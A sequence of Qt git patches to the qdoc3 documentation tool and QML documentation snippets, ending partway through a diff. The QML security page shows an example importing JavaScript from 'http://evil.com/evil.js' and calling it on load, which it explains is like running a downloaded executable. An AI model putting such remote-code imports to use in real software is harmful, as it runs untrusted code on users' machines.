diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
index 4385dfd..10802b2 100644
--- a/tools/qdoc3/htmlgenerator.cpp
+++ b/tools/qdoc3/htmlgenerator.cpp
@@ -219,7 +219,6 @@ HtmlGenerator::HtmlGenerator()
       threeColumnEnumValueTable(true),
       funcLeftParen("\\S(\\()"),
       myTree(0),
-      syntaxHighlighting(false),
       obsoleteLinks(false)
 {
 }
@@ -320,8 +319,6 @@ void HtmlGenerator::initializeGenerator(const Config &config)
         ++edition;
     }
 
-    syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING);
-
     codeIndent = config.getInt(CONFIG_CODEINDENT);
 
     helpProjectWriter = new HelpProjectWriter(config,
@@ -2790,31 +2787,28 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
     }
 
 
-    if (syntaxHighlighting) {
-        // is this block ever used at all?
-        // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
-        src = html;
-        html = QString();
-        for (int i = 0, srcSize = src.size(); i < srcSize;) {
-            if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
-                i += 2;
-                if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
-                    const Node* n = marker->resolveTarget(par1.toString(),
-                                                          myTree,
-                                                          relative);
-                    QString link = linkForNode(n, relative);
-                    addLink(link, arg, &html);
-                    par1 = QStringRef();
-                }
-                else {
-                    html += charLangle;
-                    html += charAt;
-                }
+    // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
+    src = html;
+    html = QString();
+    for (int i = 0, srcSize = src.size(); i < srcSize;) {
+        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+            i += 2;
+            if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
+                const Node* n = marker->resolveTarget(par1.toString(),
+                                                      myTree,
+                                                      relative);
+                QString link = linkForNode(n, relative);
+                addLink(link, arg, &html);
+                par1 = QStringRef();
             }
             else {
-                html += src.at(i++);
+                html += charLangle;
+                html += charAt;
             }
         }
+        else {
+            html += src.at(i++);
+        }
     }
 
     // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags
diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h
index 6701184..500780f 100644
--- a/tools/qdoc3/htmlgenerator.h
+++ b/tools/qdoc3/htmlgenerator.h
@@ -279,7 +279,6 @@ class HtmlGenerator : public PageGenerator
     QStringList stylesheets;
     QStringList customHeadElements;
     const Tree *myTree;
-    bool syntaxHighlighting;
     bool obsoleteLinks;
     QMap moduleClassMap;
     QMap moduleNamespaceMap;
diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp
index 8193d2d..5b50a2a 100644
--- a/tools/qdoc3/main.cpp
+++ b/tools/qdoc3/main.cpp
@@ -148,7 +148,6 @@ static void processQdocconfFile(const QString &fileName)
 	++i;
     }
     config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false"));
-    config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false"));
     config.setStringList(CONFIG_SHOWINTERNAL,
                          QStringList(showInternal ? "true" : "false"));
     config.setStringList(CONFIG_OBSOLETELINKS,
-- 
cgit v0.12


From 425a718facbb2b4a8f9919516b98257ef98c6182 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Thu, 20 Jan 2011 18:40:52 +0100
Subject: Allowed the indentation of marked up code to be customized.

Marked up code is indented according to its indentation relative to
the snippet markers (//! for example) in the quoted source code.
---
 tools/qdoc3/quoter.cpp | 20 ++++++++++++++------
 tools/qdoc3/quoter.h   |  5 +++--
 2 files changed, 17 insertions(+), 8 deletions(-)

diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp
index 8e08e9a..b82b760 100644
--- a/tools/qdoc3/quoter.cpp
+++ b/tools/qdoc3/quoter.cpp
@@ -221,10 +221,13 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
     QString comment = commentForCode();
     QString delimiter = comment + QString(" [%1]").arg(identifier);
     QString t;
+    int indent = 0;
 
     while (!plainLines.isEmpty()) {
         if (match(docLocation, delimiter, plainLines.first())) {
-            getLine();
+            QString startLine = getLine();
+            while (indent < startLine.length() && startLine[indent] == QLatin1Char(' '))
+                indent++;
             break;
         }
         getLine();
@@ -232,7 +235,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
     while (!plainLines.isEmpty()) {
         QString line = plainLines.first();
         if (match(docLocation, delimiter, line)) {
-            QString lastLine = getLine();
+            QString lastLine = getLine(indent);
             int dIndex = lastLine.indexOf(delimiter);
             if (dIndex > 0) {
                 // The delimiter might be preceded on the line by other
@@ -249,7 +252,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
             return t;
         }
 
-        t += removeSpecialLines(line, comment);
+        t += removeSpecialLines(line, comment, indent);
     }
     failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter));
     return t;
@@ -286,7 +289,7 @@ QString Quoter::quoteUntil( const Location& docLocation, const QString& command,
     return t;
 }
 
-QString Quoter::getLine()
+QString Quoter::getLine(int unindent)
 {
     if ( plainLines.isEmpty() )
         return QString();
@@ -294,6 +297,11 @@ QString Quoter::getLine()
     plainLines.removeFirst();
 
     QString t = markedLines.takeFirst();
+    int i = 0;
+    while (i < unindent && i < t.length() && t[i] == QLatin1Char(' '))
+        i++;
+
+    t = t.mid(i);
     t += QLatin1Char('\n');
     codeLocation.advanceLines( t.count( QLatin1Char('\n') ) );
     return t;
@@ -342,7 +350,7 @@ QString Quoter::commentForCode() const
     return commentHash.value(suffix, "//!");
 }
 
-QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
+QString Quoter::removeSpecialLines(const QString &line, const QString &comment, int unindent)
 {
     QString t;
 
@@ -355,7 +363,7 @@ QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
         t += QLatin1Char('\n');
     } else if (!trimmed.startsWith(comment)) {
         // Ordinary code
-        t += getLine();
+        t += getLine(unindent);
     } else {
         // Comments
         if (line.contains(QLatin1Char('\n')))
diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h
index e1728d1..5ce38ef 100644
--- a/tools/qdoc3/quoter.h
+++ b/tools/qdoc3/quoter.h
@@ -70,12 +70,13 @@ public:
     QString quoteSnippet(const Location &docLocation, const QString &identifier);
 
 private:
-    QString getLine();
+    QString getLine(int unindent = 0);
     void failedAtEnd( const Location& docLocation, const QString& command );
     bool match( const Location& docLocation, const QString& pattern,
     		const QString& line );
     QString commentForCode() const;
-    QString removeSpecialLines(const QString &line, const QString &comment);
+    QString removeSpecialLines(const QString &line, const QString &comment,
+                               int unindent = 0);
 
     bool silent; 
     bool validRegExp;
-- 
cgit v0.12


From 2d5d354068e18de999c0316c2356726f9fe69fca Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Fri, 21 Jan 2011 14:24:40 +0100
Subject: Doc: Updated the qdoc manual.

---
 tools/qdoc3/doc/qdoc-manual.qdoc | 33 +++++++++++++++++++++------------
 1 file changed, 21 insertions(+), 12 deletions(-)

diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc
index b557ad9..5b908d2 100644
--- a/tools/qdoc3/doc/qdoc-manual.qdoc
+++ b/tools/qdoc3/doc/qdoc-manual.qdoc
@@ -7804,20 +7804,14 @@
            about this process.
 
     \row
-        \o \bold slow \target slow
-        \o \bold {The \c slow variable specifies whether QDoc should do
-           time-consuming processing, such as syntax highlighting.}
+        \o \bold slow (removed) \target slow
+        \o \bold {The \c slow variable previously specified whether QDoc should
+           do time-consuming processing, such as syntax highlighting.}
 
-           By default, this setting is false.
+           This option has been replaced by the \l{syntaxhighlighing} option.
 
-           Example:
-
-           \code
-               slow = true
-           \endcode
-
-           Another way to turn on "slowness" is to invoke QDoc with the
-           \c -slow command-line option.
+           For compatibility, the \c -slow command-line option has been
+           retained. This has the effect of enabling syntax highlighting.
 
     \row
         \o \bold sourcedirs \target sourcedirs
@@ -7957,6 +7951,21 @@
            \endcode
 
     \row
+        \o \bold syntaxhighlighting \target syntaxhighlighting
+        \o \bold{The \c syntaxhighlighting variable specifies whether QDoc
+           should perform syntax highlighting on source code quoted in the
+           documentation it output.}
+
+           For example:
+
+           \code
+           syntaxhighlighting = true
+           \endcode
+
+           will enable syntax highlighting for all supported programming
+           languages.
+
+    \row
         \o \bold tabsize \target tabsize
         \o \bold {The \c tabsize variable defines the size of a tab
            character.}
-- 
cgit v0.12


From 84a1df764bf2e29e9e6e43f4f0e1a69201199fbc Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Fri, 21 Jan 2011 16:10:54 +0100
Subject: Doc: Fixed the syntax of QML code snippets.

---
 doc/src/declarative/qdeclarativestates.qdoc        |  37 +++----
 .../snippets/declarative/mousearea/mousearea.qml   | 116 ++++++++++-----------
 doc/src/snippets/declarative/propertyanimation.qml |  24 ++---
 .../graphicsitems/qdeclarativepathview.cpp         |  14 +--
 src/declarative/util/qdeclarativeanimation.cpp     |   4 +-
 src/declarative/util/qdeclarativeconnections.cpp   |   6 +-
 6 files changed, 98 insertions(+), 103 deletions(-)

diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
index b663d43..69b348b 100644
--- a/doc/src/declarative/qdeclarativestates.qdoc
+++ b/doc/src/declarative/qdeclarativestates.qdoc
@@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state.
 Non-Item objects can use states through the StateGroup element.
 
 
-\section1 Creating states
+\section1 Creating States
 
 To create a state, add a \l State object to the item's \l {Item::}{states} property,
 which holds a list of states for that item.
@@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example:
 
 \qml
 Rectangle {
-    ...
+    // ...
     states: [
         State {
             name: "moved"
@@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states}
 property can be defined as a single \l State, without the square-brace list
 syntax:
 
-\qml
-Item {
-    ...
-    states: State {
-        ...
-    }
-}
-\endqml
+\snippet doc/src/snippets/declarative/propertyanimation.qml single state
 
 A \l State is not limited to performing modifications on property values. It 
 can also:
@@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated
 transitions between them.
 
 
-\section1 The default state
+\section1 The Default State
 
 Of course, the \l Rectangle in the example above could have simply been moved
 by setting its position to (50, 50) in the mouse area's \c onClicked handler.
@@ -146,7 +139,7 @@ like this:
 
 \qml 
 Rectangle {
-    ...
+    // ...
 
     MouseArea {
         id: mouseArea
@@ -154,8 +147,9 @@ Rectangle {
     }
 
     states: State {
-        name: "moved"; when: mouseArea.pressed
-        ...
+        name: "moved"
+        when: mouseArea.pressed
+        // ...
     }
 }
 \endqml 
@@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to:
 
 \qml 
 Rectangle {
-    ...
+    // ...
 
     MouseArea {
         anchors.fill: parent
@@ -181,7 +175,7 @@ Rectangle {
 
     states: State {
         name: "moved"
-        ...
+        // ...
     }
 }
 \endqml 
@@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than
 assigning the state from signal handlers.
 
 
-\section1 Animating state changes
+\section1 Animating State Changes
 
 
 State changes can be easily animated through \l {Transitions}{transitions}. A
@@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated:
 
 \qml
 Rectangle {
-    ...
+    // ...
 
-    MouseArea { ... }
+    MouseArea {
+        // Handle mouse events...
+    }
 
     states: [
-       ...
+       // States are defined here...
     ]
      
     transitions: [
@@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500
 milliseconds.
 
 See the \l Transitions documentation for more information.
-
 */
diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
index 7cd0a77..1dc0598 100644
--- a/doc/src/snippets/declarative/mousearea/mousearea.qml
+++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
@@ -46,74 +46,72 @@ Rectangle {
     width: childrenRect.width
     height: childrenRect.height
 
-Row {
+    Row {
+        //! [intro]
+        Rectangle {
+            width: 100; height: 100
+            color: "green"
 
-//! [intro]
-Rectangle { 
-    width: 100; height: 100
-    color: "green"
-
-    MouseArea { 
-        anchors.fill: parent
-        onClicked: { parent.color = 'red' }
-    }
-}
-//! [intro]
+            MouseArea {
+                anchors.fill: parent
+                onClicked: { parent.color = 'red' }
+            }
+        }
+        //! [intro]
 
-//! [intro-extended]
-Rectangle {
-    width: 100; height: 100
-    color: "green"
+        //! [intro-extended]
+        Rectangle {
+            width: 100; height: 100
+            color: "green"
 
-    MouseArea {
-        anchors.fill: parent
-        acceptedButtons: Qt.LeftButton | Qt.RightButton
-        onClicked: {
-            if (mouse.button == Qt.RightButton)
-                parent.color = 'blue';
-            else
-                parent.color = 'red';
+            MouseArea {
+                anchors.fill: parent
+                acceptedButtons: Qt.LeftButton | Qt.RightButton
+                onClicked: {
+                    if (mouse.button == Qt.RightButton)
+                        parent.color = 'blue';
+                    else
+                        parent.color = 'red';
+                }
+            }
         }
-    }
-}
-//! [intro-extended]
+        //! [intro-extended]
 
-//! [drag]
-Rectangle {
-    id: container
-    width: 600; height: 200
+        //! [drag]
+        Rectangle {
+            id: container
+            width: 600; height: 200
 
-    Rectangle {
-        id: rect
-        width: 50; height: 50
-        color: "red"
-        opacity: (600.0 - rect.x) / 600
+            Rectangle {
+                id: rect
+                width: 50; height: 50
+                color: "red"
+                opacity: (600.0 - rect.x) / 600
 
-        MouseArea {
-            anchors.fill: parent
-            drag.target: rect
-            drag.axis: Drag.XAxis
-            drag.minimumX: 0
-            drag.maximumX: container.width - rect.width
+                MouseArea {
+                    anchors.fill: parent
+                    drag.target: rect
+                    drag.axis: Drag.XAxis
+                    drag.minimumX: 0
+                    drag.maximumX: container.width - rect.width
+                }
+            }
         }
-    }
-}
-//! [drag]
+        //! [drag]
 
-//! [mousebuttons]
-Text {
-    text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
-    horizontalAlignment: Text.AlignHCenter
-    verticalAlignment: Text.AlignVCenter
-
-    MouseArea {
-        id: mouseArea
-        anchors.fill: parent
-        acceptedButtons: Qt.LeftButton | Qt.RightButton
-    }
-}
-//! [mousebuttons]
+        //! [mousebuttons]
+        Text {
+            text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
+            horizontalAlignment: Text.AlignHCenter
+            verticalAlignment: Text.AlignVCenter
 
-}
+            MouseArea {
+                id: mouseArea
+                anchors.fill: parent
+                acceptedButtons: Qt.LeftButton | Qt.RightButton
+            }
+        }
+        //! [mousebuttons]
 
+    }
 }
diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
index 1f1cbaf..30eeba8 100644
--- a/doc/src/snippets/declarative/propertyanimation.qml
+++ b/doc/src/snippets/declarative/propertyanimation.qml
@@ -48,10 +48,12 @@ Rectangle {
     width: 100; height: 100
     color: "red"
 
+    //! [single state]
     states: State {
         name: "moved"
         PropertyChanges { target: rect; x: 50 }
     }
+    //! [single state]
 
     transitions: Transition { 
         PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } 
@@ -83,18 +85,16 @@ Rectangle {
 }
 //![propertyvaluesource]
 
-//![standalone]
-Rectangle {
-    id: theRect
-    width: 100; height: 100
-    color: "red"
-
-    // this is a standalone animation, it's not running by default
-    PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
-
-    MouseArea { anchors.fill: parent; onClicked: animation.running = true }
-}
-//![standalone]
+    //![standalone]
+    Rectangle {
+        id: theRect
+        width: 100; height: 100
+        color: "red"
 
+        // this is a standalone animation, it's not running by default
+        PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
 
+        MouseArea { anchors.fill: parent; onClicked: animation.running = true }
+    }
+    //![standalone]
 }
diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp
index 87ea214..29838f6 100644
--- a/src/declarative/graphicsitems/qdeclarativepathview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp
@@ -379,14 +379,14 @@ void QDeclarativePathViewPrivate::regenerate()
     \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
     using the left and right arrow keys:
 
-    \code
+    \qml
     PathView {
-        ...
+        // ...
         focus: true
         Keys.onLeftPressed: decrementCurrentIndex()
         Keys.onRightPressed: incrementCurrentIndex()
     }
-    \endcode
+    \endqml
 
     The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
 
@@ -437,7 +437,7 @@ QDeclarativePathView::~QDeclarativePathView()
     Component {
         Rectangle {
             visible: PathView.onPath
-            ...
+            // ...
         }
     }
     \endqml
@@ -697,14 +697,14 @@ void QDeclarativePathViewPrivate::setAdjustedOffset(qreal o)
     of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
     the highlight is hidden when flicked away from the path.
 
-    \code
+    \qml
     Component {
         Rectangle {
             visible: PathView.onPath
-            ...
+            // ...
         }
     }
-    \endcode
+    \endqml
 
     \sa highlightItem, highlightRangeMode
 */
diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
index dd7e5fd..f2c54ab 100644
--- a/src/declarative/util/qdeclarativeanimation.cpp
+++ b/src/declarative/util/qdeclarativeanimation.cpp
@@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation()
 
     \qml
     Item {
-        states: [ ... ]
+        states: [
+            // States are defined here...
+        ]
 
         transition: Transition {
             NumberAnimation { from: "#c0c0c0"; duration: 2000 }
diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
index 15e5ac5..dbb6f43 100644
--- a/src/declarative/util/qdeclarativeconnections.cpp
+++ b/src/declarative/util/qdeclarativeconnections.cpp
@@ -71,8 +71,8 @@ public:
 
 /*!
     \qmlclass Connections QDeclarativeConnections
-  \ingroup qml-utility-elements
-  \since 4.7
+    \ingroup qml-utility-elements
+    \since 4.7
     \brief A Connections element describes generalized connections to signals.
 
     A Connections object creates a connection to a QML signal.
@@ -115,7 +115,7 @@ public:
     MouseArea {
         id: area
     }
-    ...
+    // ...
     Connections {
         target: area
         onClicked: foo(...)
-- 
cgit v0.12


From cdb2d3db1ece08af9ccf844cae6a5d3fa69a0d98 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 14:39:12 +0100
Subject: Doc: Fixed the syntax of QML code snippets.

---
 doc/src/declarative/basictypes.qdoc           |  19 ++--
 doc/src/declarative/qdeclarativesecurity.qdoc |   6 +-
 doc/src/declarative/qml-intro.qdoc            |  14 +--
 doc/src/images/declarative-colors.png         | Bin 0 -> 4993 bytes
 doc/src/snippets/declarative/colors.qml       | 125 ++++++++++++++++++++++++++
 doc/src/snippets/declarative/pics/checker.svg |  17 ++++
 6 files changed, 163 insertions(+), 18 deletions(-)
 create mode 100644 doc/src/images/declarative-colors.png
 create mode 100644 doc/src/snippets/declarative/colors.qml
 create mode 100644 doc/src/snippets/declarative/pics/checker.svg

diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
index 463e4a3..289a7a0 100644
--- a/doc/src/declarative/basictypes.qdoc
+++ b/doc/src/declarative/basictypes.qdoc
@@ -174,13 +174,10 @@
     transparent blue to a quad of \c "#800000FF".
 
     Example:
-    \qml
-    Rectangle { color: "steelblue" }
-    Rectangle { color: "transparent" }
-    Rectangle { color: "#FF0000" }
-    Rectangle { color: "#800000FF" }
-    Rectangle { color: "#00000000" }    // ARGB fully transparent
-    \endqml
+    \div{float-right}
+    \inlineimage declarative-colors.png
+    \enddiv
+    \snippet doc/src/snippets/declarative/colors.qml colors
 
     Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
     \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
@@ -361,9 +358,11 @@
     Actions are used like this:
 
     \qml
-    MouseArea { onClicked: myaction.trigger() }
-    State { name: "enabled"; when: myaction.enabled == true }
-    Text { text: someaction.text }
+    Item {
+        MouseArea { onClicked: myaction.trigger() }
+        State { name: "enabled"; when: myaction.enabled == true }
+        Text { text: someaction.text }
+    }
     \endqml
 
     \sa {QML Basic Types}
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc
index 8aa031d..482043c 100644
--- a/doc/src/declarative/qdeclarativesecurity.qdoc
+++ b/doc/src/declarative/qdeclarativesecurity.qdoc
@@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen
 For example, this QML content:
 
 \qml
+import QtQuick 1.0
 import "http://evil.com/evil.js" as Evil
-... Evil.doEvil() ...
+
+Component {
+    onLoaded: Evil.doEvil()
+}
 \endqml
 
 is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution
diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
index 563dc3b..7b2d999 100644
--- a/doc/src/declarative/qml-intro.qdoc
+++ b/doc/src/declarative/qml-intro.qdoc
@@ -247,13 +247,17 @@ referencing these properties from another object we use the property
 directly, instead of saying:
 
 \qml
-myRectangle.anchors.top  // Wrong
+Item {
+    anchors.bottom: myRectangle.anchors.top  // Wrong
+}
 \endqml
 
 we use
 
 \qml
-myRectangle.top         // Correct
+Item {
+    anchors.bottom: myRectangle.top         // Correct
+}
 \endqml
 
 
@@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise.
 Rotation of text was also suggested. It could also be useful to scale the
 text. We can do both. The \l {Item::transform}{transform} property is a
 \e list of \l Transform elements, so using the list syntax
-
-\qml
-myList: [ listElement1, listElement2, ... } ]
-\endqml
-
+\c{myList: [ listElement1, listElement2, ... } ]}
 we can produce a list of transformations.
 
 The text will be rotated by 45 degrees anti-clockwise and scaled 
diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
new file mode 100644
index 0000000..f2eacd8
Binary files /dev/null and b/doc/src/images/declarative-colors.png differ
diff --git a/doc/src/snippets/declarative/colors.qml b/doc/src/snippets/declarative/colors.qml
new file mode 100644
index 0000000..c670eca
--- /dev/null
+++ b/doc/src/snippets/declarative/colors.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**   * Redistributions of source code must retain the above copyright
+**     notice, this list of conditions and the following disclaimer.
+**   * Redistributions in binary form must reproduce the above copyright
+**     notice, this list of conditions and the following disclaimer in
+**     the documentation and/or other materials provided with the
+**     distribution.
+**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+**     the names of its contributors may be used to endorse or promote
+**     products derived from this software without specific prior written
+**     permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+    width: 160; height: 250
+    
+    Image {
+        width: 160; height: 200
+        source: "pics/checker.svg"
+        fillMode: Image.Tile
+
+        //! [colors]
+        Rectangle {
+            color: "steelblue"
+            width: 40; height: 40
+        }
+        Rectangle {
+            color: "transparent"
+            y: 40; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#FF0000"
+            y: 80; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#800000FF"
+            y: 120; width: 40; height: 40
+        }
+        Rectangle {
+            color: "#00000000"    // ARGB fully transparent
+            y: 160
+            width: 40; height: 40
+        }
+        //! [colors]
+
+        Rectangle {
+            x: 40
+            width: 120; height: 200
+
+            Text {
+                font.pixelSize: 16
+                text: "steelblue"
+                x: 10; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "transparent"
+                x: 10; y: 40; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "FF0000"
+                x: 10; y: 80; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "800000FF"
+                x: 10; y: 120; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+            Text {
+                font.pixelSize: 16
+                text: "00000000"
+                x: 10; y: 160; height: 40
+                verticalAlignment: Text.AlignVCenter
+            }
+        }
+    }
+
+    Image {
+        y: 210
+        width: 40; height: 40
+        source: "pics/checker.svg"
+        fillMode: Image.Tile
+    }
+
+    Text {
+        font.pixelSize: 16
+        text: "(background)"
+        x: 50; y: 210; height: 40
+        verticalAlignment: Text.AlignVCenter
+    }
+}
diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
new file mode 100644
index 0000000..374d89d
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/checker.svg
@@ -0,0 +1,17 @@
+
+
+  Checker
+  A checkerboard pattern to use as a background.
+  
+    
+  
+  
+    
+  
+  
+    
+  
+
-- 
cgit v0.12


From 57f2890a28f5bed8476019d4f280e75e982cfe25 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 14:54:31 +0100
Subject: Ensured that an uninitialized output codec is never used.

See task for contributor information.

Task-number: QTBUG-16462
---
 tools/qdoc3/pagegenerator.cpp | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp
index e9566ee..89ec6fe 100644
--- a/tools/qdoc3/pagegenerator.cpp
+++ b/tools/qdoc3/pagegenerator.cpp
@@ -56,6 +56,7 @@ QT_BEGIN_NAMESPACE
   Nothing to do in the constructor.
  */
 PageGenerator::PageGenerator()
+    : outputCodec(0)
 {
     // nothing.
 }
@@ -294,7 +295,9 @@ void PageGenerator::beginSubPage(const Location& location,
     if (!outFile->open(QFile::WriteOnly))
 	location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName()));
     QTextStream* out = new QTextStream(outFile);
-    out->setCodec(outputCodec);
+
+    if (outputCodec)
+        out->setCodec(outputCodec);
     outStreamStack.push(out);
 }
 
-- 
cgit v0.12


From 3d769613d5efc642ebfd8d5fe7c149834132fe65 Mon Sep 17 00:00:00 2001
From: David Boddie 
Date: Mon, 24 Jan 2011 15:09:14 +0100
Subject: Doc: Fixed the syntax of QML code snippets.

---
 src/declarative/graphicsitems/qdeclarativeitem.cpp | 44 +++++++++++---------
 .../graphicsitems/qdeclarativepositioners.cpp      | 10 +++--
 .../graphicsitems/qdeclarativerectangle.cpp        |  5 ++-
 src/declarative/graphicsitems/qdeclarativetext.cpp | 35 ++++++++++++----
 .../graphicsitems/qdeclarativetextinput.cpp        |  4 +-
 src/declarative/util/qdeclarativestategroup.cpp    | 48 +++++++++++++---------
 src/declarative/util/qdeclarativexmllistmodel.cpp  | 13 +++---
 7 files changed, 101 insertions(+), 58 deletions(-)

diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
index e915bea..a99d918 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
@@ -2124,16 +2124,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   \o \image declarative-anchors_example.png
   \o Text anchored to Image, horizontally centered and vertically below, with a margin.
   \qml
-  Image {
-      id: pic
-      // ...
-  }
-  Text {
-      id: label
-      anchors.horizontalCenter: pic.horizontalCenter
-      anchors.top: pic.bottom
-      anchors.topMargin: 5
-      // ...
+  Item {
+      Image {
+          id: pic
+          // ...
+      }
+      Text {
+          id: label
+          anchors.horizontalCenter: pic.horizontalCenter
+          anchors.top: pic.bottom
+          anchors.topMargin: 5
+          // ...
+      }
   }
   \endqml
   \row
@@ -2143,16 +2145,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
   property of both defaults to 0.
 
   \qml
-    Image {
-        id: pic
-        // ...
-    }
-    Text {
-        id: label
-        anchors.left: pic.right
-        anchors.leftMargin: 5
-        // ...
-    }
